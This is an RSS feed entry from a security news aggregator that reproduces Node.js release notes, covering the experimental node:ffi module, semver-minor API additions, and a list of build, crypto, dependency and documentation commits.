<guid isPermaLink="true">https://tsecurity.de/de/3495522/downloads/2026-05-07-version-2610-current-aduh95/</guid>
<pubDate>Thu, 07 May 2026 12:16:58 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h3>Notable Changes</h3>
<h4>Experimental <code>node:ffi</code> module</h4>
<p>Node.js now includes an experimental <code>node:ffi</code> module for loading dynamic<br>
libraries and calling native symbols from JavaScript.</p>
<p>The API is gated behind the <code>--experimental-ffi</code> flag and, when the Permission<br>
Model is enabled, requires <code>--allow-ffi</code>.</p>
<p>This API is inherently unsafe. Invalid pointers, incorrect signatures, or accessing memory<br>
after it has been freed can crash the process or corrupt memory.</p>
<p>Contributed by Paolo Insogna in <a href="https://github.com/nodejs/node/pull/62072" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62072/hovercard">#62072</a>.</p>
<h4>Other Notable Changes</h4>
<ul>
<li>[<a href="https://github.com/nodejs/node/commit/34a6454fe3"><code>34a6454fe3</code></a>] - <strong>(SEMVER-MINOR)</strong> <strong>buffer</strong>: add <code>end</code> parameter (Robert Nagy) <a href="https://github.com/nodejs/node/pull/62390" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62390/hovercard">#62390</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/073e84d7fe"><code>073e84d7fe</code></a>] - <strong>(SEMVER-MINOR)</strong> <strong>crypto</strong>: accept key data in <code>crypto.diffieHellman()</code> and cleanup DH jobs (Filip Skokan) <a href="https://github.com/nodejs/node/pull/62527" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62527/hovercard">#62527</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/5b9cb10a5f"><code>5b9cb10a5f</code></a>] - <strong>(SEMVER-MINOR)</strong> <strong>crypto</strong>: implement <code>randomUUIDv7()</code> (nabeel378) <a href="https://github.com/nodejs/node/pull/62553" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62553/hovercard">#62553</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/98f9becd16"><code>98f9becd16</code></a>] - <strong>(SEMVER-MINOR)</strong> <strong>debugger</strong>: add edit-free runtime expression probes to <code>node inspect</code> (Joyee Cheung) <a href="https://github.com/nodejs/node/pull/62713" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62713/hovercard">#62713</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/06defaa2ea"><code>06defaa2ea</code></a>] - <strong>(SEMVER-MINOR)</strong> <strong>fs</strong>: add <code>signal</code> option to <code>fs.stat()</code> (Mert Can Altin) <a href="https://github.com/nodejs/node/pull/57775" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/57775/hovercard">#57775</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/db66a963bf"><code>db66a963bf</code></a>] - <strong>(SEMVER-MINOR)</strong> <strong>fs</strong>: expose <code>frsize</code> field in <code>statfs</code> (Jinho Jang) <a href="https://github.com/nodejs/node/pull/62277" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62277/hovercard">#62277</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/87adb3472b"><code>87adb3472b</code></a>] - <strong>(SEMVER-MINOR)</strong> <strong>http</strong>: harden <code>ClientRequest</code> options merge (Matteo Collina) <a href="https://github.com/nodejs/node/pull/63082" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63082/hovercard">#63082</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/9047ec12ce"><code>9047ec12ce</code></a>] - <strong>(SEMVER-MINOR)</strong> <strong>http</strong>: add <code>req.signal</code> to <code>IncomingMessage</code> (Akshat) <a href="https://github.com/nodejs/node/pull/62541" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62541/hovercard">#62541</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/ab66de8eaa"><code>ab66de8eaa</code></a>] - <strong>(SEMVER-MINOR)</strong> <strong>process</strong>: throw on <code>execve(2)</code> failure instead of aborting (Bryan English) <a href="https://github.com/nodejs/node/pull/62878" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62878/hovercard">#62878</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/8273682c87"><code>8273682c87</code></a>] - <strong>(SEMVER-MINOR)</strong> <strong>src</strong>: allow empty <code>--experimental-config-file</code> (Marco Ippolito) <a href="https://github.com/nodejs/node/pull/61610" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61610/hovercard">#61610</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/fbff28f7e6"><code>fbff28f7e6</code></a>] - <strong>(SEMVER-MINOR)</strong> <strong>stream</strong>: propagate destruction in <code>duplexPair</code> (Ahmed Elhor) <a href="https://github.com/nodejs/node/pull/61098" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61098/hovercard">#61098</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/a8c773a0c7"><code>a8c773a0c7</code></a>] - <strong>(SEMVER-MINOR)</strong> <strong>test_runner</strong>: align mock timeout api (sangwook) <a href="https://github.com/nodejs/node/pull/62820" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62820/hovercard">#62820</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/b883a5eaea"><code>b883a5eaea</code></a>] - <strong>(SEMVER-MINOR)</strong> <strong>test_runner</strong>: add mock-timers support for <code>AbortSignal.timeout</code> (DeveloperViraj) <a href="https://github.com/nodejs/node/pull/60751" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60751/hovercard">#60751</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/a21ae1771e"><code>a21ae1771e</code></a>] - <strong>(SEMVER-MINOR)</strong> <strong>test_runner</strong>: support test order randomization (Pietro Marchini) <a href="https://github.com/nodejs/node/pull/61747" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61747/hovercard">#61747</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/b85c73ff10"><code>b85c73ff10</code></a>] - <strong>(SEMVER-MINOR)</strong> <strong>util</strong>: colorize text with hex colors (Guilherme Araújo) <a href="https://github.com/nodejs/node/pull/61556" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61556/hovercard">#61556</a></li>
</ul>
<h3>Commits</h3>
<ul>
<li>[<a href="https://github.com/nodejs/node/commit/1b959d02c2"><code>1b959d02c2</code></a>] - <strong>assert,util</strong>: fix stale nested cycle memo entries (Ruben Bridgewater) <a href="https://github.com/nodejs/node/pull/62509" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62509/hovercard">#62509</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/bbeb38d210"><code>bbeb38d210</code></a>] - <strong>buffer</strong>: fix end parameter bugs in indexOf/lastIndexOf (Robert Nagy) <a href="https://github.com/nodejs/node/pull/62711" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62711/hovercard">#62711</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/34a6454fe3"><code>34a6454fe3</code></a>] - <strong>(SEMVER-MINOR)</strong> <strong>buffer</strong>: add end parameter (Robert Nagy) <a href="https://github.com/nodejs/node/pull/62390" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62390/hovercard">#62390</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/8b91526cd5"><code>8b91526cd5</code></a>] - <strong>build</strong>: track PDL files as inputs in inspector GN build (Robo) <a href="https://github.com/nodejs/node/pull/62888" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62888/hovercard">#62888</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/da40ed7842"><code>da40ed7842</code></a>] - <strong>build</strong>: remove armv6 from experimental platforms (René) <a href="https://github.com/nodejs/node/pull/63063" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63063/hovercard">#63063</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/b36e55a23e"><code>b36e55a23e</code></a>] - <strong>build</strong>: make test-addons dependency-free (Joyee Cheung) <a href="https://github.com/nodejs/node/pull/62388" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62388/hovercard">#62388</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/c27f3cf8f2"><code>c27f3cf8f2</code></a>] - <strong>build</strong>: add --enable-all-experimentals build flag (Paolo Insogna) <a href="https://github.com/nodejs/node/pull/62755" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62755/hovercard">#62755</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/0d73b63a76"><code>0d73b63a76</code></a>] - <strong>build</strong>: fix cargo check when Temporal is disabled (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/62730" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62730/hovercard">#62730</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/d8f97e6f7b"><code>d8f97e6f7b</code></a>] - <strong>build</strong>: fix ffi dependency compilation (Paolo Insogna) <a href="https://github.com/nodejs/node/pull/62731" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62731/hovercard">#62731</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/d1eb7b340f"><code>d1eb7b340f</code></a>] - <strong>build</strong>: fix stray debug string in LIEF defines (Om Ghante) <a href="https://github.com/nodejs/node/pull/62683" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62683/hovercard">#62683</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/845283009d"><code>845283009d</code></a>] - <strong>build</strong>: remove redundant -fuse-linker-plugin from GCC LTO flags (Daniel Lando) <a href="https://github.com/nodejs/node/pull/62667" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62667/hovercard">#62667</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/a6e99879f4"><code>a6e99879f4</code></a>] - <strong>build,win</strong>: enable x64 PGO (Stefan Stojanovic) <a href="https://github.com/nodejs/node/pull/62761" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62761/hovercard">#62761</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/38befee0fb"><code>38befee0fb</code></a>] - <strong>crypto</strong>: add JWK support for ML-KEM and SLH-DSA key types (Filip Skokan) <a href="https://github.com/nodejs/node/pull/62706" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62706/hovercard">#62706</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/b10653ad87"><code>b10653ad87</code></a>] - <strong>crypto</strong>: add guards and adjust tests for BoringSSL (Filip Skokan) <a href="https://github.com/nodejs/node/pull/62883" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62883/hovercard">#62883</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/2a7a69c6b0"><code>2a7a69c6b0</code></a>] - <strong>crypto</strong>: reject unintended raw key format string input (Filip Skokan) <a href="https://github.com/nodejs/node/pull/62974" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62974/hovercard">#62974</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/bad1e2fe6a"><code>bad1e2fe6a</code></a>] - <strong>crypto</strong>: fix unsigned conversion of 4-byte RSA publicExponent (DeepView Autofix) <a href="https://github.com/nodejs/node/pull/62839" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62839/hovercard">#62839</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/c9d5bae598"><code>c9d5bae598</code></a>] - <strong>crypto</strong>: remove Argon2 KDF derivation from its job setup (Filip Skokan) <a href="https://github.com/nodejs/node/pull/62863" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62863/hovercard">#62863</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/6eea52426f"><code>6eea52426f</code></a>] - <strong>crypto</strong>: reject duplicate ML-KEM JWK key_ops (Filip Skokan) <a href="https://github.com/nodejs/node/pull/62905" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62905/hovercard">#62905</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/80d4836616"><code>80d4836616</code></a>] - <strong>crypto</strong>: deduplicate and canonicalize CryptoKey usages (Filip Skokan) <a href="https://github.com/nodejs/node/pull/62902" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62902/hovercard">#62902</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/8950247027"><code>8950247027</code></a>] - <strong>crypto</strong>: reject inherited key type names (Jonathan Lopes) <a href="https://github.com/nodejs/node/pull/62875" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62875/hovercard">#62875</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/3f42f9615a"><code>3f42f9615a</code></a>] - <strong>crypto</strong>: strengthen argument CHECKs in TurboSHAKE (Tobias Nießen) <a href="https://github.com/nodejs/node/pull/62763" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62763/hovercard">#62763</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/28346d999b"><code>28346d999b</code></a>] - <strong>crypto</strong>: guard against size_t overflow on experimental 32-bit arch (Filip Skokan) <a href="https://github.com/nodejs/node/pull/62626" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62626/hovercard">#62626</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/d4cec263c4"><code>d4cec263c4</code></a>] - <strong>(SEMVER-MINOR)</strong> <strong>crypto</strong>: align key argument names in docs and error messages (Filip Skokan) <a href="https://github.com/nodejs/node/pull/62527" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62527/hovercard">#62527</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/073e84d7fe"><code>073e84d7fe</code></a>] - <strong>(SEMVER-MINOR)</strong> <strong>crypto</strong>: accept key data in crypto.diffieHellman() and cleanup DH jobs (Filip Skokan) <a href="https://github.com/nodejs/node/pull/62527" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62527/hovercard">#62527</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/518b578fe7"><code>518b578fe7</code></a>] - <strong>crypto</strong>: add memory tracking for secureContext openssl objects (Mert Can Altin) <a href="https://github.com/nodejs/node/pull/59051" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/59051/hovercard">#59051</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/5b9cb10a5f"><code>5b9cb10a5f</code></a>] - <strong>(SEMVER-MINOR)</strong> <strong>crypto</strong>: implement randomUUIDv7() (nabeel378) <a href="https://github.com/nodejs/node/pull/62553" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62553/hovercard">#62553</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/7133826053"><code>7133826053</code></a>] - <strong>debugger</strong>: move ProbeInspectorSession and helpers to separate files (Joyee Cheung) <a href="https://github.com/nodejs/node/pull/63013" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63013/hovercard">#63013</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/98f9becd16"><code>98f9becd16</code></a>] - <strong>(SEMVER-MINOR)</strong> <strong>debugger</strong>: add edit-free runtime expression probes to <code>node inspect</code> (Joyee Cheung) <a href="https://github.com/nodejs/node/pull/62713" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62713/hovercard">#62713</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/94ac62a2d1"><code>94ac62a2d1</code></a>] - <strong>deps</strong>: update undici to 8.2.0 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/63092" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63092/hovercard">#63092</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/ef71de87e6"><code>ef71de87e6</code></a>] - <strong>deps</strong>: update amaro to 1.1.9 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/63090" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63090/hovercard">#63090</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/c4f0ef881a"><code>c4f0ef881a</code></a>] - <strong>deps</strong>: update llhttp to 9.4.1 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/63045" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63045/hovercard">#63045</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/d29fbc0029"><code>d29fbc0029</code></a>] - <strong>deps</strong>: fix integration issues with the latest nghttp2 (Tim Perry) <a href="https://github.com/nodejs/node/pull/62891" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62891/hovercard">#62891</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/537825acee"><code>537825acee</code></a>] - <strong>deps</strong>: update nghttp2 to 1.69.0 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/62891" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62891/hovercard">#62891</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/4446bf694d"><code>4446bf694d</code></a>] - <strong>deps</strong>: update corepack to 0.34.7 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/62810" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62810/hovercard">#62810</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/8f55327f1c"><code>8f55327f1c</code></a>] - <strong>deps</strong>: fix libffi macos build (Paolo Insogna) <a href="https://github.com/nodejs/node/pull/63006" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63006/hovercard">#63006</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/3dee18f72f"><code>3dee18f72f</code></a>] - <strong>deps</strong>: patch V8 to 14.6.202.34 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/62964" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62964/hovercard">#62964</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/e281b247e6"><code>e281b247e6</code></a>] - <strong>deps</strong>: update timezone to 2026b (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/62962" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62962/hovercard">#62962</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/4dd982df13"><code>4dd982df13</code></a>] - <strong>deps</strong>: upgrade npm to 11.13.0 (npm team) <a href="https://github.com/nodejs/node/pull/62898" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62898/hovercard">#62898</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/61c0ff4a13"><code>61c0ff4a13</code></a>] - <strong>deps</strong>: cherry-pick <a class="commit-link" data-hovercard-type="commit" data-hovercard-url="https://github.com/libuv/libuv/commit/439a54b/hovercard" href="https://github.com/libuv/libuv/commit/439a54b">libuv/libuv@<tt>439a54b</tt></a> (skooch) <a href="https://github.com/nodejs/node/pull/62881" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62881/hovercard">#62881</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/d26ca462ae"><code>d26ca462ae</code></a>] - <strong>deps</strong>: update undici to 8.1.0 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/62728" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62728/hovercard">#62728</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/6f08489ac9"><code>6f08489ac9</code></a>] - <strong>deps</strong>: update sqlite to 3.53.0 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/62699" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62699/hovercard">#62699</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/713601e8bd"><code>713601e8bd</code></a>] - <strong>deps</strong>: update nbytes to 0.1.4 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/62698" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62698/hovercard">#62698</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/578cf1c0c1"><code>578cf1c0c1</code></a>] - <strong>deps</strong>: update archs files for openssl-3.5.6 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/62629" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62629/hovercard">#62629</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/4a4ef13c67"><code>4a4ef13c67</code></a>] - <strong>deps</strong>: upgrade openssl sources to openssl-3.5.6 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/62629" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62629/hovercard">#62629</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/2f3eca8c1e"><code>2f3eca8c1e</code></a>] - <strong>deps</strong>: update perfetto to 54.0 (Chengzhong Wu) <a href="https://github.com/nodejs/node/pull/62397" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62397/hovercard">#62397</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/944ed9b739"><code>944ed9b739</code></a>] - <strong>deps</strong>: add perfetto build files (Chengzhong Wu) <a href="https://github.com/nodejs/node/pull/62397" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62397/hovercard">#62397</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/15530a7484"><code>15530a7484</code></a>] - <strong>deps</strong>: update ngtcp2 to 1.22.0 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/62595" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62595/hovercard">#62595</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/b813b4c4b5"><code>b813b4c4b5</code></a>] - <strong>deps</strong>: update minimatch to 10.2.5 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/62594" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62594/hovercard">#62594</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/38e7ce58c5"><code>38e7ce58c5</code></a>] - <strong>deps</strong>: update googletest to d72f9c8aea6817cdf1ca0ac10887f328de7f3da2 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/62593" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62593/hovercard">#62593</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/b5c573ed14"><code>b5c573ed14</code></a>] - <strong>deps</strong>: update simdjson to 4.6.1 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/62592" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62592/hovercard">#62592</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/318e2c7cd3"><code>318e2c7cd3</code></a>] - <strong>deps</strong>: libuv: cherry-pick aabb7651de (Santiago Gimeno) <a href="https://github.com/nodejs/node/pull/62561" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62561/hovercard">#62561</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/c6ccbd742a"><code>c6ccbd742a</code></a>] - <strong>deps</strong>: libuv: reapply 3a9a6e3e6b (Andy Pan) <a href="https://github.com/nodejs/node/pull/62561" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62561/hovercard">#62561</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/4ad07de7ae"><code>4ad07de7ae</code></a>] - <strong>diagnostics_channel</strong>: add BoundedChannel and scopes (Stephen Belanger) <a href="https://github.com/nodejs/node/pull/61680" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61680/hovercard">#61680</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/44416ea3fd"><code>44416ea3fd</code></a>] - <strong>doc</strong>: fix documentation history missing 25.9.0 (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/63151" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63151/hovercard">#63151</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/5f6dfbf68e"><code>5f6dfbf68e</code></a>] - <strong>doc</strong>: fix changelog for chromium numbering (Rafael Gonzaga) <a href="https://github.com/nodejs/node/pull/63133" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63133/hovercard">#63133</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/30c4b3658c"><code>30c4b3658c</code></a>] - <strong>doc</strong>: fix the TypeScript Execute (tsx) project link (David Thornton) <a href="https://github.com/nodejs/node/pull/63093" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63093/hovercard">#63093</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/ca3c3097f1"><code>ca3c3097f1</code></a>] - <strong>doc</strong>: minor structural stream/iter edits (René) <a href="https://github.com/nodejs/node/pull/63089" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63089/hovercard">#63089</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/92324aab6f"><code>92324aab6f</code></a>] - <strong>doc</strong>: remove typo comma from man page (Vas Sudanagunta) <a href="https://github.com/nodejs/node/pull/63080" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63080/hovercard">#63080</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/712a15da73"><code>712a15da73</code></a>] - <strong>doc</strong>: correct diagnostics_channel built-in channel names (Bryan English) <a href="https://github.com/nodejs/node/pull/62995" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62995/hovercard">#62995</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/c92cb6fe0d"><code>c92cb6fe0d</code></a>] - <strong>doc</strong>: use mjs/cjs blocks for callbackify null reason example (Daijiro Wachi) <a href="https://github.com/nodejs/node/pull/62884" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62884/hovercard">#62884</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/020776d4d6"><code>020776d4d6</code></a>] - <strong>doc</strong>: fix typo in test.md (Rich Trott) <a href="https://github.com/nodejs/node/pull/62960" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62960/hovercard">#62960</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/7d52f2061e"><code>7d52f2061e</code></a>] - <strong>doc</strong>: correct typo in PR contribution instructions (Mike McCready) <a href="https://github.com/nodejs/node/pull/62738" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62738/hovercard">#62738</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/70e8944676"><code>70e8944676</code></a>] - <strong>doc</strong>: fix duplicate word "of of" in postMessageToThread (Daijiro Wachi) <a href="https://github.com/nodejs/node/pull/62917" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62917/hovercard">#62917</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/11c6c29284"><code>11c6c29284</code></a>] - <strong>doc</strong>: fix duplicate word "to to" in util.styleText (Daijiro Wachi) <a href="https://github.com/nodejs/node/pull/62917" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62917/hovercard">#62917</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/242adab671"><code>242adab671</code></a>] - <strong>doc</strong>: fix duplicate word "for for" in compile cache (Daijiro Wachi) <a href="https://github.com/nodejs/node/pull/62917" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62917/hovercard">#62917</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/b9f3abd63e"><code>b9f3abd63e</code></a>] - <strong>doc</strong>: fix doubled word typo in stream_iter.md (Daijiro Wachi) <a href="https://github.com/nodejs/node/pull/62916" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62916/hovercard">#62916</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/7a52fd0448"><code>7a52fd0448</code></a>] - <strong>doc</strong>: fix typo in dns.lookup options description (Daijiro Wachi) <a href="https://github.com/nodejs/node/pull/62882" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62882/hovercard">#62882</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/acd7e18a8c"><code>acd7e18a8c</code></a>] - <strong>doc</strong>: fix Argon2 parameter bounds (Tobias Nießen) <a href="https://github.com/nodejs/node/pull/62868" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62868/hovercard">#62868</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/b43ecf40bb"><code>b43ecf40bb</code></a>] - <strong>doc</strong>: trust FFI in the threat model (Paolo Insogna) <a href="https://github.com/nodejs/node/pull/62852" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62852/hovercard">#62852</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/981ce96b03"><code>981ce96b03</code></a>] - <strong>doc</strong>: fix typos and inconsistencies in crypto.md and webcrypto.md (Filip Skokan) <a href="https://github.com/nodejs/node/pull/62828" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62828/hovercard">#62828</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/acc52ef257"><code>acc52ef257</code></a>] - <strong>doc</strong>: clarify diffieHellman.generateKeys recomputes same key (Kit Dallege) <a href="https://github.com/nodejs/node/pull/62205" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62205/hovercard">#62205</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/ae87597c07"><code>ae87597c07</code></a>] - <strong>doc</strong>: remove Ayase-252 and meixg from triagger team (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/62841" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62841/hovercard">#62841</a></li>
